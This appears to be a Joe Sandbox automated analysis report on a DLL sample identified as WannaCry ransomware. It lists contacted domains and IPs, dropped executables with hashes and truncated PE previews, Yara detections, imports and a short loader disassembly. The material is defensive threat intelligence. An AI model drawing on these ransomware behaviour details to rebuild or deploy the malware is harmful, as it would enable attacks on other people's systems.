https://www.hotspotshield.com/terms/	svchost.exe, 00000018.00000003.630426055.0000026AB79AF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630320833.0000026AB798D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630479013.0000026AB7E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630494659.0000026AB7E02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630452004.0000026AB7E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630348392.0000026AB799E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630525662.0000026AB798D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.pango.co/privacy	svchost.exe, 00000018.00000003.630426055.0000026AB79AF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630320833.0000026AB798D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630479013.0000026AB7E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630494659.0000026AB7E02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630452004.0000026AB7E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630348392.0000026AB799E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630525662.0000026AB798D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJ	mssecsvc.exe, 00000007.00000002.988936037.000000000019C000.00000004.00000010.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://disneyplus.com/legal.	svchost.exe, 00000018.00000003.635272376.0000026AB79B3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.635240769.0000026AB79A2000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
201.140.4.56	unknown	Mexico	6503	AxtelSABdeCVMX	false
74.115.222.45	unknown	Canada	47023	NOR-NET-COMMCA	false
180.26.125.141	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
187.44.72.214	unknown	Brazil	28309	WGOTelecomunicacoesLtdaBR	false
79.226.65.204	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
209.226.156.234	unknown	Canada	577	BACOMCA	false
165.218.78.47	unknown	United States	2381	WISCNET1-ASUS	false
130.194.15.180	unknown	Australia	56132	MONASHUNI-AU-AS-APMonashUniversityAU	false
104.33.229.32	unknown	United States	20001	TWC-20001-PACWESTUS	false
83.27.46.141	unknown	Poland	5617	TPNETPL	false
220.95.122.105	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
92.233.173.60	unknown	United Kingdom	5089	NTLGB	false
189.54.237.104	unknown	Brazil	28573	CLAROSABR	false
207.14.54.153	unknown	United States	13871	TELEBYTE-NWUS	false
143.188.211.4	unknown	Australia	17477	MCT-SYDNEYMacquarieTelecomAU	false
52.167.180.165	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
223.95.204.6	unknown	China	56041	CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC	false
187.153.106.137	unknown	Mexico	8151	UninetSAdeCVMX	false
30.85.137.246	unknown	United States	7922	COMCAST-7922US	false
159.176.246.202	unknown	United States	34058	LIFECELL-ASUA	false
37.115.242.64	unknown	Ukraine	15895	KSNET-ASUA	false
63.140.106.156	unknown	United States	7782	ALSK-7782US	false
215.163.74.121	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
144.232.253.202	unknown	United States	1239	SPRINTLINKUS	false
211.71.125.129	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
40.107.234.211	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
163.25.176.132	unknown	Taiwan; Republic of China (ROC)	1659	ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC	false
60.150.167.61	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
71.26.75.39	unknown	United States	7922	COMCAST-7922US	false
148.189.209.204	unknown	United States	42652	DELUNETDE	false
108.212.224.3	unknown	United States	7018	ATT-INTERNET4US	false
211.146.102.193	unknown	China	7641	CHINABTNChinaBroadcastingTVNetCN	false
21.20.250.61	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
3.231.124.172	unknown	United States	14618	AMAZON-AESUS	false
81.133.76.237	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
212.18.23.60	unknown	Germany	8767	MNET-ASGermanyDE	false
108.190.164.190	unknown	United States	33363	BHN-33363US	false
75.133.119.131	unknown	United States	20115	CHARTER-20115US	false
124.246.92.108	unknown	Singapore	63850	ENTRUSTICT-AS-APQRHUBPTYLTDTAEntrustICTAU	false
58.119.150.116	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
90.105.150.171	unknown	France	3215	FranceTelecom-OrangeFR	false
179.11.109.114	unknown	Brazil	26615	TIMSABR	false
161.240.25.186	unknown	United States	396269	BPL-ASNUS	false
21.44.211.61	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
150.69.180.189	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
171.233.78.205	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
11.125.163.1	unknown	United States	27651	ENTELCHILESACL	false
42.54.79.143	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
197.78.211.185	unknown	South Africa	16637	MTNNS-ASZA	false
90.201.130.225	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
155.200.192.71	unknown	United States	8698	NationwideBuildingSocietyGB	false
87.122.58.135	unknown	Germany	8881	VERSATELDE	false
136.119.134.249	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.148
192.168.2.149
192.168.2.146
192.168.2.147
192.168.2.140
192.168.2.141
192.168.2.144
192.168.2.145
192.168.2.142
192.168.2.143
192.168.2.159
192.168.2.157
192.168.2.158
192.168.2.151
192.168.2.152
192.168.2.150
192.168.2.155
192.168.2.156
192.168.2.153
192.168.2.154
192.168.2.126
192.168.2.127
192.168.2.124
192.168.2.125
192.168.2.128
192.168.2.129
192.168.2.122
192.168.2.123
192.168.2.120
192.168.2.121
192.168.2.97
192.168.2.137
192.168.2.96
192.168.2.138
192.168.2.99
192.168.2.135
192.168.2.98
192.168.2.136
192.168.2.139
192.168.2.130
192.168.2.91
192.168.2.90
192.168.2.93
192.168.2.133
192.168.2.92
192.168.2.134
192.168.2.95

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	670705
Start date and time: 21/07/202204:32:29	2022-07-21 04:32:29 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	7B6t4L7E2o (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.expl.evad.winDLL@24/3@3/100
EGA Information:	Successful, ratio: 66.7%
HDC Information:	Successful, ratio: 99.4% (good quality ratio 90.1%) Quality average: 76.9% Quality standard deviation: 32.6%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 93.184.221.240, 20.223.24.244, 40.74.108.123, 23.205.181.161, 20.73.194.208, 52.185.211.133, 20.72.205.209, 52.140.118.28
Excluded domains from analysis (whitelisted): settings-prod-wus2-2.westus2.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, settings-prod-wjp-1.japanwest.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, e11290.dspg.akamaiedge.net, e12564.dspb.akamaiedge.net, go.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, login.live.com, settings-prod-weu-2.westeurope.cloudapp.azure.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, settings-prod-scus-1.southcentralus.cloudapp.azure.com, www.bing.com, client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, settings-win.data.microsoft.com, settings-prod-cin-1.centralindia.cloudapp.azure.com,
Execution Graph export aborted for target tasksche.exe, PID 6128 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:33:47	API Interceptor	1x Sleep call for process: loaddll32.exe modified
04:35:34	API Interceptor	8x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	CVPe8IQwRy.dll	Get hash	malicious	Browse	104.16.173.80
	QCJb6PZ41s.dll	Get hash	malicious	Browse	104.16.173.80
	3mj8t7DseQ.dll	Get hash	malicious	Browse	104.17.244.81
	rDFOYkcPV6.dll	Get hash	malicious	Browse	104.16.173.80
	JlDxSH1ApJ.dll	Get hash	malicious	Browse	104.17.244.81
	z2nfZVxMwA.dll	Get hash	malicious	Browse	104.16.173.80
	xkxC18hdLm.dll	Get hash	malicious	Browse	104.17.244.81
	QvVyyJCLtf.dll	Get hash	malicious	Browse	104.17.244.81
	dJeD0ng05g.dll	Get hash	malicious	Browse	104.16.173.80
	pLXTMU66qr.dll	Get hash	malicious	Browse	104.17.244.81
	BkiIRJuvus.dll	Get hash	malicious	Browse	104.16.173.80
	j6P5rDC2J5.dll	Get hash	malicious	Browse	104.17.244.81
	JzeqPKFJkk.dll	Get hash	malicious	Browse	104.17.244.81
	qeI8ZyQCLt.dll	Get hash	malicious	Browse	104.17.244.81
	uHOFQGLsVE.dll	Get hash	malicious	Browse	104.16.173.80
	DJlmsiXhi2.dll	Get hash	malicious	Browse	104.17.244.81
	DxzuFN1q8o.dll	Get hash	malicious	Browse	104.16.173.80
	N7OXgx2cyN.dll	Get hash	malicious	Browse	104.16.173.80
	owAMRukkmM.dll	Get hash	malicious	Browse	104.16.173.80
	xO8wknS3jV.dll	Get hash	malicious	Browse	104.17.244.81

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AxtelSABdeCVMX	YpvzePu40o.dll	Get hash	malicious	Browse	148.248.15.163
	COtulUQmBz.dll	Get hash	malicious	Browse	189.211.228.130
	6x9NN15F4x.dll	Get hash	malicious	Browse	187.176.37.122
	VMUVPonvRy.dll	Get hash	malicious	Browse	189.207.175.52
	goN6vVlV2F.dll	Get hash	malicious	Browse	148.250.197.4
	yUmz1y2VlN.dll	Get hash	malicious	Browse	187.163.60.188
	vc37nVpSa8.dll	Get hash	malicious	Browse	187.176.164.242
	btQ3uR06AG.dll	Get hash	malicious	Browse	189.207.220.129
	7L0nCME6Kp.dll	Get hash	malicious	Browse	148.250.36.129
	c3VD4rLV4k.dll	Get hash	malicious	Browse	189.208.230.47
	34hJuarXbi.dll	Get hash	malicious	Browse	189.212.122.147
	2jwGOWHTUk.dll	Get hash	malicious	Browse	148.242.71.29
	kV8XquGBzF.dll	Get hash	malicious	Browse	187.176.16.49
	eOQ40ewIks.dll	Get hash	malicious	Browse	200.78.151.237
	41ECj4EgTY.dll	Get hash	malicious	Browse	187.162.180.19
	ZG9zppc	Get hash	malicious	Browse	187.179.252.45
	YSLPLkgfLe	Get hash	malicious	Browse	148.250.68.65
	2qzJgdlbf3	Get hash	malicious	Browse	189.211.246.187
	xd.mpsl	Get hash	malicious	Browse	187.178.40.1
	mirai.m68k	Get hash	malicious	Browse	148.250.81.39

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	QCJb6PZ41s.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	3mj8t7DseQ.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	rDFOYkcPV6.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	JlDxSH1ApJ.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	HMJm3ingvs.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	z2nfZVxMwA.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	2yQ8hmXyz0.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	QvVyyJCLtf.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	dJeD0ng05g.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	928bd6r1Xq.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	BkiIRJuvus.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	j6P5rDC2J5.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	JzeqPKFJkk.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	qeI8ZyQCLt.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	yhjor8uWkB.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	LF2X6lwUMg.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	uHOFQGLsVE.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	Wcn6ZyM7wF.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	DxzuFN1q8o.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106
	N7OXgx2cyN.dll	Get hash	malicious	Browse	20.190.159.4 52.242.101.226 20.190.159.68 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\WINDOWS\qeriuwjhrf (copy)	4GDffePnzH.dll	Get hash	malicious	Browse
	HFKDS6VcNO.dll	Get hash	malicious	Browse
	FjYNZSPNkt.dll	Get hash	malicious	Browse
	kBBdc7Aoj4.dll	Get hash	malicious	Browse
	tct5NKwZY8.dll	Get hash	malicious	Browse
	7KPQg3aXdC.dll	Get hash	malicious	Browse
	ngFFOGiE7Y.dll	Get hash	malicious	Browse

Created / dropped Files

C:\WINDOWS\qeriuwjhrf (copy)

Download File

Process:	C:\Windows\mssecsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3514368
Entropy (8bit):	6.5250408221172975
Encrypted:	false
SSDEEP:	49152:nQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAAL:QqPoBhz1aRxcSUDk36SA8
MD5:	3233ACED9279EF54267C479BBA665B90
SHA1:	0B2CC142386641901511269503CDF6F641FAD305
SHA-256:	F60F8A6BCAF1384A0D6A76D3E88007A8604560B263D2B8AEEE06FD74C9EE5B3B
SHA-512:	55F25C51FFB89D46F2A7D2ED9B67701E178BD68E74B71D757D5FA14BD9530A427104FC36116633033EAD762ECF7960AB96429F5B0A085A701001C6832BA4555E
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 85%, Browse Antivirus: ReversingLabs, Detection: 95%
Joe Sandbox View:	Filename: 4GDffePnzH.dll, Detection: malicious, Browse Filename: HFKDS6VcNO.dll, Detection: malicious, Browse Filename: FjYNZSPNkt.dll, Detection: malicious, Browse Filename: kBBdc7Aoj4.dll, Detection: malicious, Browse Filename: tct5NKwZY8.dll, Detection: malicious, Browse Filename: 7KPQg3aXdC.dll, Detection: malicious, Browse Filename: ngFFOGiE7Y.dll, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:..T...T...T..X...T.._...T.'.Z...T..^...T..P...T.g.....T...U...T..._...T.c.R...T.Rich..T.........................PE..L...A..L.................p... 5......w............@...........................5.................................................d.........4..........................................................................................................text....i.......p.................. ..`.rdata..p_.......`..................@..@.data...X........ ..................@....rsrc.....4.......4.................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\mssecsvc.exe

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3723264
Entropy (8bit):	6.527982586589115
Encrypted:	false
SSDEEP:	49152:2nAQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAA:yDqPoBhz1aRxcSUDk36SA
MD5:	478ABB44DBBA06E87DECD2DF49F3D986
SHA1:	0D1BDC648B6FE87652FD4F299EBB1EAC821DFEF3
SHA-256:	A90873267DEB6777193D65A390752E86B6A1BBF3523CFB28C266139E24ED69F8
SHA-512:	7A3A0AD0207AEBD5971C9EF36DFF7CA0183126643040ECF60EA67B208C99AD622D5BFF6AC972BEBE6ED7D16D069C801F264A422BD25110EFB7D3ED5550715A0F
Malicious:	true
Yara Hits:	Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvc.exe, Author: Joe Security Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\mssecsvc.exe, Author: us-cert code analysis team Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Windows\mssecsvc.exe, Author: ReversingLabs
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 89%, Browse Antivirus: ReversingLabs, Detection: 93%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U<S..]=..]=..]=.jA1..]=.A3..]=.~B7..]=.~B6..]=.~B9..]=..R`..]=..]<.J]=.'{6..]=..[;..]=.Rich.]=.........................PE..L.....L.....................08...................@...........................f......................................................1.T.5..........................................................................................................text.............................. ..`.rdata..............................@..@.data....H0......p..................@....rsrc...T.5...1...5.. ..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\tasksche.exe

Download File

Process:	C:\Windows\mssecsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3514368
Entropy (8bit):	6.5250408221172975
Encrypted:	false
SSDEEP:	49152:nQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAAL:QqPoBhz1aRxcSUDk36SA8
MD5:	3233ACED9279EF54267C479BBA665B90
SHA1:	0B2CC142386641901511269503CDF6F641FAD305
SHA-256:	F60F8A6BCAF1384A0D6A76D3E88007A8604560B263D2B8AEEE06FD74C9EE5B3B
SHA-512:	55F25C51FFB89D46F2A7D2ED9B67701E178BD68E74B71D757D5FA14BD9530A427104FC36116633033EAD762ECF7960AB96429F5B0A085A701001C6832BA4555E
Malicious:	true
Yara Hits:	Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\tasksche.exe, Author: Florian Roth (with the help of binar.ly) Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\tasksche.exe, Author: us-cert code analysis team Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Windows\tasksche.exe, Author: ReversingLabs
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 85%, Browse Antivirus: ReversingLabs, Detection: 95%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:..T...T...T..X...T.._...T.'.Z...T..^...T..P...T.g.....T...U...T..._...T.c.R...T.Rich..T.........................PE..L...A..L.................p... 5......w............@...........................5.................................................d.........4..........................................................................................................text....i.......p.................. ..`.rdata..p_.......`..................@..@.data...X........ ..................@....rsrc.....4.......4.................@..@........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.011830945070062
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	7B6t4L7E2o.dll
File size:	5267459
MD5:	a55b9addb2447db1882a3ae995a70151
SHA1:	f8d5a24a90ae78bece5f280852e0f393757fc685
SHA256:	cf5ddb5dedea0104a3fc464c822e6181a9dd9fa6e27e713c54af0eafb7c5faf0
SHA512:	a2a1ca078e5dc4a5060547948d87a41c22186eba6b671f840bd6ddfefad257162fa896f56865092cf85cc5aded76324fd4a27c11c5ef1e36910f5dcc1cd6f4d8
SSDEEP:	49152:SnAQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAA:+DqPoBhz1aRxcSUDk36SA
TLSH:	1136F601D2E51AA0DAF25FF7267ADB10833A6E45895BA66E1221500F0C77F1CDDE6F2C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.r_9...9...9.......=...9...6.....A.:.......8.......8.......:...Rich9...........................PE..L...QW.Y...........!.......

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General

Entrypoint:	0x100011e9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
DLL Characteristics:
Time Stamp:	0x59145751 [Thu May 11 12:21:37 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2e5708ae5fed0403e8117c645fb23e5b

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push ebx
mov ebx, dword ptr [ebp+08h]
push esi
mov esi, dword ptr [ebp+0Ch]
push edi
mov edi, dword ptr [ebp+10h]
test esi, esi
jne 00007EFFC8CF4F8Bh
cmp dword ptr [10003140h], 00000000h
jmp 00007EFFC8CF4FA8h
cmp esi, 01h
je 00007EFFC8CF4F87h
cmp esi, 02h
jne 00007EFFC8CF4FA4h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007EFFC8CF4F8Bh
push edi
push esi
push ebx
call eax
test eax, eax
je 00007EFFC8CF4F8Eh
push edi
push esi
push ebx
call 00007EFFC8CF4E9Ah
test eax, eax
jne 00007EFFC8CF4F86h
xor eax, eax
jmp 00007EFFC8CF4FD0h
push edi
push esi
push ebx
call 00007EFFC8CF4D4Ch
cmp esi, 01h
mov dword ptr [ebp+0Ch], eax
jne 00007EFFC8CF4F8Eh
test eax, eax
jne 00007EFFC8CF4FB9h
push edi
push eax
push ebx
call 00007EFFC8CF4E76h
test esi, esi
je 00007EFFC8CF4F87h
cmp esi, 03h
jne 00007EFFC8CF4FA8h
push edi
push esi
push ebx
call 00007EFFC8CF4E65h
test eax, eax
jne 00007EFFC8CF4F85h
and dword ptr [ebp+0Ch], eax
cmp dword ptr [ebp+0Ch], 00000000h
je 00007EFFC8CF4F93h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007EFFC8CF4F8Ah
push edi
push esi
push ebx
call eax
mov dword ptr [ebp+0Ch], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
pop esi
pop ebx
pop ebp
retn 000Ch
jmp dword ptr [10002028h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[ C ] VS98 (6.0) build 8168
[C++] VS98 (6.0) build 8168
[RES] VS98 (6.0) cvtres build 1720
[LNK] VS98 (6.0) imp/exp build 8168

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2190	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x203c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x500060	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x505000	0x5c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28c	0x1000	False	0.13037109375	data	1.4429971244731552	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x1d8	0x1000	False	0.072509765625	data	0.7346018133622799	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x154	0x1000	False	0.016845703125	data	0.085238686413312	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4000	0x500060	0x501000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x505000	0x2ac	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
W	0x4060	0x500000	data	English	United States

Imports

DLL	Import
KERNEL32.dll	CloseHandle, WriteFile, CreateFileA, SizeofResource, LockResource, LoadResource, FindResourceA, CreateProcessA
MSVCRT.dll	free, _initterm, malloc, _adjust_fdiv, sprintf

Exports

Name	Ordinal	Address
PlayGame	1	0x10001114

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
